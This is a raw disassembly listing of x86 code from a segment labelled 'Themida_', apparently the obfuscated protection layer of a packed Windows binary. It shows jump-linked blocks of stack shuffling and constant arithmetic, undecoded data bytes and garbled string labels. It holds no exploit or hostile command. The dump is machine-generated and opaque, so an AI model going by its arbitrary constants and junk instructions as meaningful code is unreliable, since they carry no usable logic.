loc_5A3D9E: ; CODE XREF: Themida_:005A46F2j mov ecx, [esp] add esp, 4 shl ecx, 1 jmp loc_5A9C90 ; --------------------------------------------------------------------------- loc_5A3DAE: ; CODE XREF: Themida_:005A2E0Fj add esp, 4 xchg eax, [esp] mov esp, [esp] sar byte ptr [esp], cl pushf jmp loc_5ACD3E ; --------------------------------------------------------------------------- loc_5A3DC0: ; CODE XREF: Themida_:005AB21Fj mov ecx, esp jmp loc_5A830D ; --------------------------------------------------------------------------- loc_5A3DC7: ; CODE XREF: Themida_:0059FF67j pop eax add esp, 4 push 7E88h mov [esp], ebp push 0CC5h mov [esp], esp add dword ptr [esp], 4 pop ebp add ebp, 4 jmp loc_5A6A92 ; --------------------------------------------------------------------------- loc_5A3DEE: ; CODE XREF: Themida_:005A16AEj mov esp, [esp] push dword ptr [edi+eax*4] push dword ptr [esp] jmp loc_5A444E ; --------------------------------------------------------------------------- dd 240CFF55h, 0A3E9515Dh db 59h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A3E07: ; CODE XREF: Themida_:005A2103j mov eax, 9D7ABC35h jmp loc_5A8F76 ; --------------------------------------------------------------------------- loc_5A3E11: ; CODE XREF: Themida_:0059FA40j push ebx mov ebx, 21982338h push ebp mov ebp, 1BC75B8Ah jmp loc_5A7B0A ; --------------------------------------------------------------------------- loc_5A3E22: ; CODE XREF: Themida_:005AA8FAj mov cl, 30h xor al, cl mov ecx, [esp] push 3A89h mov [esp], esi jmp loc_5A4BDB ; --------------------------------------------------------------------------- dw 7E9h db 97h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A3E3B: ; CODE XREF: Themida_:005A6C27j pop edx add al, ch push ecx mov cl, 0E1h dec cl shr cl, 7 push eax jmp loc_598C96 ; --------------------------------------------------------------------------- loc_5A3E4C: ; CODE XREF: Themida_:005A465Dj jmp loc_59BAD7 ; --------------------------------------------------------------------------- loc_5A3E51: ; CODE XREF: Themida_:0059D9D3j push eax mov eax, esp push 5C67h mov [esp], edx push ecx mov ecx, esp add ecx, 4 sub ecx, 4 push ecx jmp loc_5A80E7 ; --------------------------------------------------------------------------- loc_5A3E6E: ; CODE XREF: Themida_:005A8E06j pop ecx add eax, 4 jmp loc_5A953C ; --------------------------------------------------------------------------- loc_5A3E77: ; CODE XREF: Themida_:005993B9j idiv ecx push eax jmp loc_5A6C56 ; --------------------------------------------------------------------------- db 88h dd 0E9535BDEh, 0FFFFFCDBh, 0A347E951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A3E8E: ; CODE XREF: Themida_:005A8014j add esp, 4 sub esp, 4 mov [esp], ebx jmp loc_59D37C ; --------------------------------------------------------------------------- loc_5A3E9F: ; CODE XREF: Themida_:005AF200j pop ebp push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_5A0673 ; --------------------------------------------------------------------------- loc_5A3EB1: ; CODE XREF: Themida_:005AEA43j mov edx, eax mov eax, [esp] add esp, 4 sub edx, 0EF88FD36h add eax, edx pop edx pop edx xor ebx, eax jmp loc_5A0090 ; --------------------------------------------------------------------------- loc_5A3ECD: ; CODE XREF: Themida_:005987DBj pop edx jmp loc_5AE95E ; --------------------------------------------------------------------------- loc_5A3ED3: ; CODE XREF: Themida_:005A173Dj and edi, 4BD9747Fh jmp loc_59D53A ; --------------------------------------------------------------------------- loc_5A3EDE: ; CODE XREF: Themida_:0059ADAFj mov ebp, [esp] add esp, 4 pop dword ptr [esp] pop esp mov [esp], edx push 472Ah mov [esp], eax push dword ptr [esp] jmp loc_5A817B ; --------------------------------------------------------------------------- loc_5A3EFE: ; CODE XREF: Themida_:005A8F1Bj mov [esp], ecx push esp pop ecx push esi jmp loc_5999CF ; --------------------------------------------------------------------------- loc_5A3F09: ; CODE XREF: Themida_:005AE910j jnb loc_5985C3 jmp loc_5AA0A4 ; --------------------------------------------------------------------------- dd 4C481h, 0C870000h, 58BABF24h, 0CF815E15h, 9523756h dd 97AA8C0Fh, 0EFC10000h, 98EF8106h, 508428EEh, 3376F868h dd 48405812h, 6685E9h, 24248B00h, 0FFD15CE9h db 0FFh ; --------------------------------------------------------------------------- loc_5A3F4D: ; CODE XREF: Themida_:005A4337j push edx jmp loc_59E713 ; --------------------------------------------------------------------------- loc_5A3F53: ; CODE XREF: Themida_:0059B96Dj add eax, 170A1E07h add eax, ebx push edi jmp loc_5A375A ; --------------------------------------------------------------------------- loc_5A3F60: ; CODE XREF: Themida_:0059B912j jmp loc_5AC14B ; --------------------------------------------------------------------------- loc_5A3F65: ; CODE XREF: Themida_:005A6F15j push ebx jmp loc_5A1DE8 ; --------------------------------------------------------------------------- loc_5A3F6B: ; CODE XREF: Themida_:005A776Ej add ecx, 4 add ecx, 4 jmp loc_5AF25D ; --------------------------------------------------------------------------- loc_5A3F79: ; CODE XREF: Themida_:0059C90Dj xchg ecx, [esp] pop esp mov [esp], edx push ecx push ebp mov ebp, 5A255CBBh mov ecx, ebp mov ebp, [esp] add esp, 4 add ecx, 161F03E4h push esi mov esi, 1 sub ecx, 6AC87D0Ch add ecx, esi add ecx, 6AC87D0Ch push dword ptr [esp] jmp loc_59CC66 ; --------------------------------------------------------------------------- db 0BDh, 10h, 6Eh dd 0FAE91D85h, 66000050h, 50240C8Bh, 0FF7F73E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A3FC5: ; CODE XREF: Themida_:005AF108j pop edi push 5C6Ah mov [esp], ebp push dword ptr [esp+4] pop ebp jmp loc_59F90F ; --------------------------------------------------------------------------- dd 24048B66h, 0FF73DFE9h db 0FFh ; --------------------------------------------------------------------------- loc_5A3FE1: ; CODE XREF: Themida_:005A4559j mov [esp], ebx mov eax, [esp] push 7F96h mov [esp], eax jmp loc_5A6D39 ; --------------------------------------------------------------------------- loc_5A3FF4: ; CODE XREF: Themida_:0059AC2Aj neg edx jns loc_599FF3 add edx, 7AB14EA7h mov ebx, edx pop edx add ebx, eax pop eax neg ebx sub esp, 4 mov [esp], ecx jmp loc_5A991F ; --------------------------------------------------------------------------- db 0B9h, 2, 0 dd 0CB010000h, 83240C8Bh, 1C8704C4h, 4205C24h, 5DE99C24h db 43h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A402F: ; CODE XREF: Themida_:005AC8EEj sub dh, 11h jmp loc_5A8CFD ; --------------------------------------------------------------------------- loc_5A4037: ; CODE XREF: Themida_:005A8C4Bj sub edx, ecx pop ecx xor edx, [esp] jmp loc_59B6B5 ; --------------------------------------------------------------------------- loc_5A4042: ; CODE XREF: Themida_:005AC85Cj mov [esp], ecx jmp loc_59F047 ; --------------------------------------------------------------------------- dw 1CF6h dd 39E99C24h db 43h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A4053: ; CODE XREF: Themida_:005A70BDj mov ch, dh push dword ptr [esp] jmp loc_59DC3A ; --------------------------------------------------------------------------- loc_5A405D: ; CODE XREF: Themida_:005A0D07j mov ecx, esp jmp loc_5A7E35 ; --------------------------------------------------------------------------- loc_5A4064: ; CODE XREF: Themida_:005A76B9j xor ebx, ebp pop ebp sub edi, ebx mov ebx, [esp] add esp, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp mov [esp], esi sub esp, 4 mov [esp], ebp mov ebp, 0FFFFh jmp loc_59A8EC ; --------------------------------------------------------------------------- loc_5A4092: ; CODE XREF: Themida_:0059C309j xchg edi, [esp] pop esp xchg esi, [esp] mov esp, [esp] mov [esp], eax jmp loc_5AEAB7 ; --------------------------------------------------------------------------- loc_5A40A4: ; CODE XREF: Themida_:005A62ECj pop ebp xor eax, edx mov edx, [esp] add esp, 4 jmp loc_5A4B8F ; --------------------------------------------------------------------------- loc_5A40B2: ; CODE XREF: Themida_:005A0DFBj add esp, 4 sub ebx, 1AE34439h sub ebx, eax add ebx, 1AE34439h push 5E72h jmp loc_5ADEFC ; --------------------------------------------------------------------------- loc_5A40CD: ; CODE XREF: Themida_:005A1250j mov [esp], edx push 5349h mov [esp], eax jmp loc_5A1001 ; --------------------------------------------------------------------------- loc_5A40DD: ; CODE XREF: Themida_:005A2429j xchg eax, edx not edx xchg eax, edx push ebx jmp loc_5A1D5E ; --------------------------------------------------------------------------- db 0BBh dd 73177639h, 0DE77C381h, 0DA89C8D0h, 2EC1E9h, 81E68900h dd 4C6h, 4C68300h, 0E9243487h, 0FFFF4F83h ; --------------------------------------------------------------------------- loc_5A410C: ; CODE XREF: Themida_:005A462Aj mov ebp, 4 mov eax, ebp pop ebp add ecx, eax pop eax xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] jmp loc_5A1478 ; --------------------------------------------------------------------------- loc_5A4128: ; CODE XREF: Themida_:005A8DEDj add edx, ecx jmp loc_5A61BE ; --------------------------------------------------------------------------- loc_5A412F: ; CODE XREF: Themida_:005989E7j pop ecx mov edi, ebx jmp loc_59E5EF ; --------------------------------------------------------------------------- loc_5A4137: ; CODE XREF: Themida_:005A02C7j add edx, 6EF64C5Eh push edi mov edi, 23A33C06h add edx, edi pop edi mov ebp, [esp] add esp, 4 sub edx, 29FB28DDh add edx, ecx add edx, 29FB28DDh push ecx push edi jmp loc_5A1DBF ; --------------------------------------------------------------------------- dd 8106EDC1h, 0FF0B05CDh, 998B0F46h, 81FFFFE6h, 660F92EDh dd 0FF860F15h, 0E9000009h, 3F8Bh ; --------------------------------------------------------------------------- loc_5A4184: ; CODE XREF: Themida_:005A5BCDj add esp, 4 and edx, 779A3364h add edx, 0D8A50EEh add edx, 0FFFFFFFFh inc edx sub edx, 5B6C40DEh add edx, 0CC174F47h sub eax, edx pop edx jmp loc_59D4A7 ; --------------------------------------------------------------------------- db 0C1h dd 0F4E906E1h, 28FFFF6Bh, 0F8305AD7h, 0FFF9C1E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A41BD: ; CODE XREF: Themida_:0059A2DDj dec eax xchg eax, edx add edx, 0FC33E82Ah xor eax, edx pop edx xor ecx, eax jmp loc_5A5C66 ; --------------------------------------------------------------------------- db 0B2h dd 0FEDAF636h, 0A3F280CAh, 0FFA568E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A41DD: ; CODE XREF: Themida_:005A7070j add esp, 4 push eax push esi mov esi, 7E7954A2h inc esi js loc_59B811 neg esi jle loc_5991FE add esi, 0DF8AB5EDh mov eax, esi pop esi xor ecx, eax loc_5A4204: ; CODE XREF: Themida_:005AC013j pop ecx mov edi, [esp] add esp, 4 xor edx, [esp] jmp loc_5A8FCB ; --------------------------------------------------------------------------- loc_5A4213: ; CODE XREF: Themida_:0059DB62j mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_59C4D0 ; --------------------------------------------------------------------------- loc_5A4223: ; CODE XREF: Themida_:0059B983j xor edx, [esp] pop esp jmp loc_5A7D56 ; --------------------------------------------------------------------------- loc_5A422C: ; CODE XREF: Themida_:005A04DAj xor ah, dl pop edx add ch, ah pop eax jmp loc_5994E2 ; --------------------------------------------------------------------------- loc_5A4237: ; CODE XREF: Themida_:0059B541j add eax, 4 jmp loc_59D9D8 ; --------------------------------------------------------------------------- loc_5A4241: ; CODE XREF: Themida_:005AC2DDj mov [esp], ebx mov ebx, 4 jmp loc_5AF3F1 ; --------------------------------------------------------------------------- loc_5A424E: ; CODE XREF: Themida_:005A32A9j mov edi, 61A50C59h neg edi sub edi, 9E5AF3A3h jmp loc_5A295B ; --------------------------------------------------------------------------- loc_5A4260: ; CODE XREF: Themida_:005AF1D0j mov ecx, 4 jmp loc_5A31D8 ; --------------------------------------------------------------------------- loc_5A426A: ; CODE XREF: Themida_:00599BE4j push ecx mov ecx, 66DD34ADh jmp loc_5A5258 ; --------------------------------------------------------------------------- db 81h, 0EEh, 0D3h dd 0E900000Eh, 28FEh ; --------------------------------------------------------------------------- loc_5A4280: ; CODE XREF: Themida_:00599BFAj pop edi not edi neg edi jmp loc_5A01D4 ; --------------------------------------------------------------------------- loc_5A428A: ; CODE XREF: Themida_:0059F6F7j sub eax, 0B5310314h or ebx, eax pop eax push eax mov eax, 7FBE7F1Bh xor ebx, eax pop eax add edx, ebx mov ebx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp sub esp, 4 mov [esp], edi push 4 pop edi sub edx, edi jmp loc_5A5C8D ; --------------------------------------------------------------------------- loc_5A42C6: ; CODE XREF: Themida_:005A6A39j pop esp add eax, 4 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp jmp loc_5AA887 ; --------------------------------------------------------------------------- a_usN db '_UιΕn',0 align 2 loc_5A42E2: ; CODE XREF: Themida_:0059FBF2j push eax push ecx push ebp pop ecx mov eax, ecx mov ecx, [esp] add esp, 4 mov ecx, eax jmp loc_5AEEA3 ; --------------------------------------------------------------------------- loc_5A42F5: ; CODE XREF: Themida_:005A87B9j mov ecx, 4B8D1DC4h add edi, ecx pop ecx jmp loc_5A6CEE ; --------------------------------------------------------------------------- loc_5A4302: ; CODE XREF: Themida_:005AE2D2j add esp, 4 jmp loc_59B35A ; --------------------------------------------------------------------------- loc_5A430A: ; CODE XREF: Themida_:005AF590j push edx mov dh, ch mov bh, dh pop edx jmp loc_599DCB ; --------------------------------------------------------------------------- aTSib db ')T$',8,'ιI',0 align 2 loc_5A431E: ; CODE XREF: Themida_:005A8B6Dj pop edx and ebx, 4A1D701Ah shr ebx, 2 sub esp, 4 mov [esp], ebp push ebx mov ebx, 551B21B2h jmp loc_5A3F4D ; --------------------------------------------------------------------------- loc_5A433C: ; CODE XREF: Themida_:0059D3A4j push dword ptr [esp] pop ebx add esp, 4 mov bl, al pop eax xor al, bl jmp loc_5A777E ; --------------------------------------------------------------------------- dd 8124148Bh, 4C4h, 7A3E0500h, 159759Ah, 0D38E9D8h, 815C0000h dd 4ECh, 24148900h, 0F7BB5356h, 4B41F87Ch, 0CB068D0Fh dd 0DBF7FFFFh, 9557860Fh, 3CE9FFFFh db 9Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A438B: ; CODE XREF: Themida_:loc_5A67ABj or cl, 0A4h jns loc_5A467E xor cl, 6Ch jmp loc_5AF519 ; --------------------------------------------------------------------------- loc_5A439C: ; CODE XREF: Themida_:0059BF64j mov ebx, ebp pop ebp jmp loc_5A2AA5 ; --------------------------------------------------------------------------- loc_5A43A4: ; CODE XREF: Themida_:005A827Bj sub eax, 9EDD1486h add ebx, eax pop eax mov ecx, 60E7119Fh push edx jmp loc_59E34C ; --------------------------------------------------------------------------- loc_5A43B7: ; CODE XREF: Themida_:loc_599E61j sub edx, 46DC0FA9h sub edx, 0B1B53980h jmp loc_5A1DF9 ; --------------------------------------------------------------------------- loc_5A43C8: ; CODE XREF: Themida_:0059CB3Dj mov eax, [esp] add esp, 4 xchg eax, esi sub esi, 829799B8h push esi pop ecx mov esi, [esp] push eax mov eax, esp add eax, 4 sub eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp mov [esp], ebx jmp loc_5AAFF2 ; --------------------------------------------------------------------------- loc_5A43FA: ; CODE XREF: Themida_:00598778j add al, dh jmp loc_59BF77 ; --------------------------------------------------------------------------- loc_5A4401: ; CODE XREF: Themida_:005985DDj add edi, 4 xchg edi, [esp] pop esp movsx ecx, ax jmp loc_5AB8AD ; --------------------------------------------------------------------------- loc_5A4413: ; CODE XREF: Themida_:005A9C1Fj xor edi, ebp jmp loc_5A97A5 ; --------------------------------------------------------------------------- dw 8145h dd 324183EDh, 5DEE0155h, 8B243487h, 8B662424h, 0EC812404h dd 4, 54240C89h, 5EF36859h, 34890000h, 0C1D6824h, 1C890000h dd 0B2D2E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A444E: ; CODE XREF: Themida_:005A3DF7j push dword ptr [esp] jmp loc_59FF64 ; --------------------------------------------------------------------------- loc_5A4456: ; CODE XREF: Themida_:0059D14Bj jmp loc_59838C ; --------------------------------------------------------------------------- db 0C1h dd 29E903E5h db 0A2h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A4463: ; CODE XREF: Themida_:005ADC00j sub esp, 4 mov [esp], edx pop ecx pop edx sub ecx, 0BDFC9BBFh push edx mov edx, 2A7E6F90h add ebx, edx jmp loc_5A568C ; --------------------------------------------------------------------------- loc_5A4481: ; CODE XREF: Themida_:005A7EFFj add esp, 4 push ebp mov ebp, 4 add edx, ebp pop ebp push edx push dword ptr [esp+4] pop edx jmp loc_5AF3D2 ; --------------------------------------------------------------------------- loc_5A4498: ; CODE XREF: Themida_:0059F798j jz loc_5A0659 shl esi, 5 jnp loc_5AA221 jmp loc_5AE70F ; --------------------------------------------------------------------------- dd 55E78957h, 0F7D6CD80h, 0F8C381D3h, 53B7C4B0h, 0FF85EFE9h db 0FFh ; --------------------------------------------------------------------------- loc_5A44C1: ; CODE XREF: Themida_:005A9C47j add ebp, 4 jmp loc_5A761C ; --------------------------------------------------------------------------- loc_5A44CC: ; CODE XREF: Themida_:005A8976j sub eax, esi jmp loc_59A4B8 ; --------------------------------------------------------------------------- loc_5A44D3: ; CODE XREF: Themida_:005A292Cj xor [esp], ebx jmp loc_5A58C0 ; --------------------------------------------------------------------------- db 31h dd 5904244Ch, 83BF5758h, 81724C65h, 0D8FD92EFh, 68ECE947h dd 0E181FFFFh, 60A75FCDh, 5D9AE9h db 0 ; --------------------------------------------------------------------------- loc_5A44FD: ; CODE XREF: Themida_:005AE4E7j or dh, 6Eh jb loc_5AD1F8 sub dh, 0BFh jl loc_5A3C70 and dh, 0F7h push eax mov al, 5Ch xor al, 0A8h xor al, 21h jmp loc_59B8E4 ; --------------------------------------------------------------------------- loc_5A451E: ; CODE XREF: Themida_:0059B175j sub esi, 88FE7D2h sub ebx, 0C236EC8h add ebx, esi add ebx, 0C236EC8h pop esi sub ebx, edi push ecx jmp loc_5A5C00 ; --------------------------------------------------------------------------- db 0F7h dd 1EC281DAh, 8168BB36h, 8471DEE2h, 1EEA8102h, 0E9C2AF56h dd 0A795h ; --------------------------------------------------------------------------- loc_5A4554: ; CODE XREF: Themida_:005A02ADj push 32ABh jmp loc_5A3FE1 ; --------------------------------------------------------------------------- loc_5A455E: ; CODE XREF: Themida_:0059C02Aj push esi mov esi, 4 add eax, esi pop esi push edi jmp loc_5AEDF0 ; --------------------------------------------------------------------------- aSsr_0 db 'SιR\',0 db 0 ; --------------------------------------------------------------------------- loc_5A4573: ; CODE XREF: Themida_:005A477Ej xchg edi, ebx xor [esp], ebx jmp loc_5A5FEB ; --------------------------------------------------------------------------- loc_5A457D: ; CODE XREF: Themida_:0059C824j ; Themida_:005A2695j mov esi, 0F6FCBC30h jmp loc_5A0D86 ; --------------------------------------------------------------------------- loc_5A4587: ; CODE XREF: Themida_:005AD713j mov eax, 73DF71FFh or eax, 39AC4E82h jmp loc_5A25CF ; --------------------------------------------------------------------------- dw 48Bh dd 7F376824h, 1C890000h, 81E38924h, 4C3h, 0BE565100h, 76FA4653h dd 479ECE81h, 0EE81710Eh, 33B94E1Ah, 0F8748D0Fh, 0BBE9FFFFh dd 5AFFFFA7h, 0B151E800h, 89C9FEE1h, 2434FFF1h, 83242C8Bh dd 0EC8104C4h, 4, 54242C89h, 4C5815Dh, 83000000h, 0FF5504C5h dd 5D042474h, 8B24048Fh, 0EC812424h, 4, 0BE243489h, 4 dd 0E95EF501h, 1C88h ; --------------------------------------------------------------------------- loc_5A4610: ; CODE XREF: Themida_:0059D021j pop edx add esi, 501538E5h jmp loc_5AB055 ; --------------------------------------------------------------------------- loc_5A461C: ; CODE XREF: Themida_:005AD056j add [esp+4], ebx pop ebx pop ecx add ecx, 4 push eax push ebp jmp loc_5A410C ; --------------------------------------------------------------------------- loc_5A462F: ; CODE XREF: Themida_:0059A6C2j jmp loc_5AB0E5 ; --------------------------------------------------------------------------- loc_5A4634: ; CODE XREF: Themida_:00599297j shr cl, 1 jmp loc_59F97F ; --------------------------------------------------------------------------- loc_5A463B: ; CODE XREF: Themida_:00599B15j push esp pop eax add eax, 4 push ebx sub esp, 4 mov [esp], ecx jmp loc_5A3817 ; --------------------------------------------------------------------------- loc_5A464E: ; CODE XREF: Themida_:loc_5AC305j add edi, 8B3F063Ah mov ebx, edi pop edi sub ebx, 0DE47EF5Ch jmp loc_5A3E4C ; --------------------------------------------------------------------------- dw 8B66h dd 41682404h, 89000071h, 0E189240Ch, 4EC81h, 2C890000h dd 744EE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A467E: ; CODE XREF: Themida_:005A438Ej xor cl, 6Ch jmp loc_5A239B ; --------------------------------------------------------------------------- loc_5A4686: ; CODE XREF: Themida_:005AA482j push esi mov esi, 4 add edi, esi pop esi jmp loc_5AD795 ; --------------------------------------------------------------------------- loc_5A4694: ; CODE XREF: Themida_:005ADC85j push edx mov dh, 9Ah sub dh, 57h not dh add dh, 0B1h jmp loc_5A6E91 ; --------------------------------------------------------------------------- loc_5A46A4: ; CODE XREF: Themida_:005A670Aj mov ebx, 4 sub ebp, 4D5319CFh jmp loc_599BFF ; --------------------------------------------------------------------------- loc_5A46B4: ; CODE XREF: Themida_:005AA0CCj or al, 5Bh jns loc_5AB634 dec al jmp loc_5AF356 ; --------------------------------------------------------------------------- loc_5A46C3: ; CODE XREF: Themida_:005AB636j xor al, 9 mov ch, al pop eax jmp loc_5AB4AB ; --------------------------------------------------------------------------- db 86h, 0C8h, 0F6h dd 0CA8852D1h, 0FFB0D4E9h, 5BD901FFh, 3268E9h db 0 ; --------------------------------------------------------------------------- loc_5A46E1: ; CODE XREF: Themida_:005A6280j mov [esp], ebp mov ebp, esp add ebp, 4 push ecx push 66B245DAh jmp loc_5A3D9E ; --------------------------------------------------------------------------- loc_5A46F7: ; CODE XREF: Themida_:005AA3B4j sub ebp, 492F8F70h jmp loc_5AD6ED ; --------------------------------------------------------------------------- loc_5A4702: ; CODE XREF: Themida_:005AE085j push ebx mov ebx, 62F27410h jmp loc_5A8BFB ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 48F5804h, 5EE95C24h db 9, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A471B: ; CODE XREF: Themida_:005A13A6j jo loc_59B4A0 jmp loc_5ABE37 ; --------------------------------------------------------------------------- loc_5A4726: ; CODE XREF: Themida_:00599225j xor dh, 0DCh sub bl, dh pop edx sub bl, cl push cx mov ch, 0A3h add bl, ch pop cx mov ecx, [esp] add esp, 4 sub bl, 0B4h push cx jmp loc_5A1A10 ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 0B46824h, 4890000h, 3BE95424h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A475B: ; CODE XREF: Themida_:005AB991j mov esp, [esp] jmp loc_5ADBAB ; --------------------------------------------------------------------------- loc_5A4763: ; CODE XREF: Themida_:005987B4j ; Themida_:0059AE6Fj add eax, 4 sub eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp jmp loc_59F82E ; --------------------------------------------------------------------------- loc_5A477A: ; CODE XREF: Themida_:005ADCC8j xchg edi, ebx not edi jmp loc_5A4573 ; --------------------------------------------------------------------------- loc_5A4783: ; CODE XREF: Themida_:005AA1B0j push eax sub esp, 4 mov [esp], ecx jmp loc_5A0CC7 ; --------------------------------------------------------------------------- dw 34FFh dd 24048B24h, 847E9h db 0 ; --------------------------------------------------------------------------- loc_5A479D: ; CODE XREF: Themida_:005A0E9Dj add ecx, 4 push ebp mov ebp, 354227CCh shl ebp, 7 add ebp, 5EEC1A04h sub ecx, ebp pop ebp xchg ecx, [esp] mov esp, [esp] mov [esp], esp add dword ptr [esp], 4 jmp loc_59A899 ; --------------------------------------------------------------------------- loc_5A47CA: ; CODE XREF: Themida_:005A3974j pop eax jmp loc_5AF230 ; --------------------------------------------------------------------------- aVGfeBunijobMI db 'VΎgF₯&ξi¦oΞ',7,'',0 dw 0C681h dd 108352E3h, 118BE681h, 0F68103E3h, 92A09ECh, 815EF121h dd 0A81149E9h, 0FFCD0102h, 83592434h, 0BB5304C4h, 4, 1C8BDD01h dd 0E6895624h, 1093B850h, 0D0F7659Bh, 0FFB1C2E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A4821: ; CODE XREF: Themida_:005A683Fj mov edx, [esp] add esp, 4 mov ebp, ebx pop ebx sub ecx, 81A216Bh add ecx, ebp jmp loc_5ADD6C ; --------------------------------------------------------------------------- loc_5A483A: ; CODE XREF: Themida_:005ABD44j add esi, ecx mov ecx, [esp] add esp, 4 push ecx jmp loc_5AC935 ; --------------------------------------------------------------------------- loc_5A484B: ; CODE XREF: Themida_:loc_5A01C2j add edx, 6BE9A803h jmp loc_5A4991 ; --------------------------------------------------------------------------- loc_5A4856: ; CODE XREF: Themida_:005A9A45j jp loc_59C110 push esi push 1A63h mov [esp], eax push esi jmp loc_599865 ; --------------------------------------------------------------------------- loc_5A486B: ; CODE XREF: Themida_:005A9C7Dj add esp, 4 push ebx jmp loc_5A0F61 ; --------------------------------------------------------------------------- dd 0C581E589h, 4, 4ED81h, 2C870000h, 61E95C24h db 80h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A488B: ; CODE XREF: Themida_:0059B700j push eax mov eax, esp add eax, 4 jmp loc_5A8E54 ; --------------------------------------------------------------------------- loc_5A4898: ; CODE XREF: Themida_:005AB7B6j mov ecx, 57315691h shr ecx, 4 push ebp push ecx mov ecx, 50D074DAh neg ecx jns loc_59AA63 xor ecx, 4B7F7C49h jo loc_5A3835 push ebp mov ebp, 7E7E44F4h or ebp, 21603C66h xor ebp, 7C6E451Eh sub ecx, ebp pop ebp neg ecx xor ecx, 30C17A4Ch jmp loc_59B02C ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 0B8240489h, 475B5800h, 0FF88EBE9h db 0FFh ; --------------------------------------------------------------------------- loc_5A48ED: ; CODE XREF: Themida_:005AF589j pop esi add ebx, 2 xchg ebx, [esp] mov esp, [esp] sar dword ptr [esp], cl pushf jmp loc_59CB00 ; --------------------------------------------------------------------------- loc_5A4903: ; CODE XREF: Themida_:00599AC7j pop ecx jmp loc_5AF2A7 ; --------------------------------------------------------------------------- aM0S_1 db '¬0ΨιΟ',9,0 db 0 ; --------------------------------------------------------------------------- loc_5A4911: ; CODE XREF: Themida_:0059D798j ; Themida_:005A8F2Bj push edi mov edi, 54CF55B1h sub [esp+8], edi push dword ptr [esp] pop edi push 2B31h jmp loc_5A2108 ; --------------------------------------------------------------------------- db 5Dh, 81h, 0F5h dd 0F9B7999h, 0E924348Bh, 0FFFFAB0Ch ; --------------------------------------------------------------------------- loc_5A4938: ; CODE XREF: Themida_:005A635Aj mov al, dl mov ch, al pop eax pop edx mov ah, ch pop cx or ah, 1Eh add ah, 15h push edx jmp loc_5AA17D ; --------------------------------------------------------------------------- dw 0E953h dd 0FFFF9B79h ; --------------------------------------------------------------------------- loc_5A4954: ; CODE XREF: Themida_:005A6C08j pop edx jmp loc_59DC2B ; --------------------------------------------------------------------------- loc_5A495A: ; CODE XREF: Themida_:005AA0C4j sub eax, 0FD8129Eh jg loc_59EFDB xor eax, 1B8A5385h mov edi, eax pop eax jmp loc_59AE1C ; --------------------------------------------------------------------------- db 56h ; --------------------------------------------------------------------------- loc_5A4973: ; CODE XREF: Themida_:00599F50j xor cl, 20h sub cl, 0B2h sub cl, 9Bh sub al, cl pop ecx add al, ch push edx push ebx mov bh, 0F1h mov dl, bh jmp loc_5A10F1 ; --------------------------------------------------------------------------- loc_5A498C: ; CODE XREF: Themida_:005AC66Fj jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A4991: ; CODE XREF: Themida_:005A4851j mov edi, edx mov edx, [esp] push ebx push esp mov ebx, [esp] add esp, 4 jmp loc_5A0C0F ; --------------------------------------------------------------------------- db 81h dd 0CE398DEBh, 76CB8166h, 0F51FE5Ch, 33D18Bh, 3E95500h dd 0B7FFFF3Ah, 0FC7FE93h, 0FF4A8A89h, 0B1C780FFh, 0A170830Fh dd 0DFF6FFFFh, 45B05066h, 0FF67EEE9h db 0FFh ; --------------------------------------------------------------------------- loc_5A49D9: ; CODE XREF: Themida_:005A618Fj sub esp, 4 jmp loc_5AA7D2 ; --------------------------------------------------------------------------- loc_5A49E1: ; CODE XREF: Themida_:0059878Ej pop ebx xchg edx, [esp] jmp loc_5A5120 ; --------------------------------------------------------------------------- loc_5A49EA: ; CODE XREF: Themida_:005A5F13j mov ebx, [esp] add esp, 4 jmp loc_5ADC5D ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 51662BB7h, 0D1F6F988h, 9110E950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A4A06: ; CODE XREF: Themida_:005A1197j inc edx jmp loc_599E61 ; --------------------------------------------------------------------------- dd 0E9C8015Ch, 0FFFFF32Eh ; --------------------------------------------------------------------------- loc_5A4A14: ; CODE XREF: Themida_:005AEE28j pop eax jmp loc_59FD6D ; --------------------------------------------------------------------------- dw 0F480h aYsN db 'Yι,N',0 align 2 loc_5A4A22: ; CODE XREF: Themida_:0059ED36j ; Themida_:005AE51Fj pop ecx inc esi sub esp, 4 mov [esp], edi mov edi, 69F65C4h add esi, edi pop edi add eax, esi pop esi xchg eax, [esp] pop esp shr eax, 0Bh xor ecx, eax push ebx push ebx push ecx push 99372DAh pop ecx shr ecx, 6 shr ecx, 5 sub esp, 4 mov [esp], eax push edi mov edi, 74275643h and edi, 15A76411h jz loc_59F6B4 inc edi xor edi, 5DB91CE3h jns loc_5AD26D not edi push ecx mov ecx, 47D687C8h sub edi, ecx xchg esi, [esp] pop esp mov [esp], edx push 21CFh mov [esp], esp jmp loc_59A4EE ; --------------------------------------------------------------------------- loc_5A4A90: ; CODE XREF: Themida_:005A7F63j mov esp, [esp] push esi push 5E5Ch mov [esp], esp add dword ptr [esp], 4 pop esi 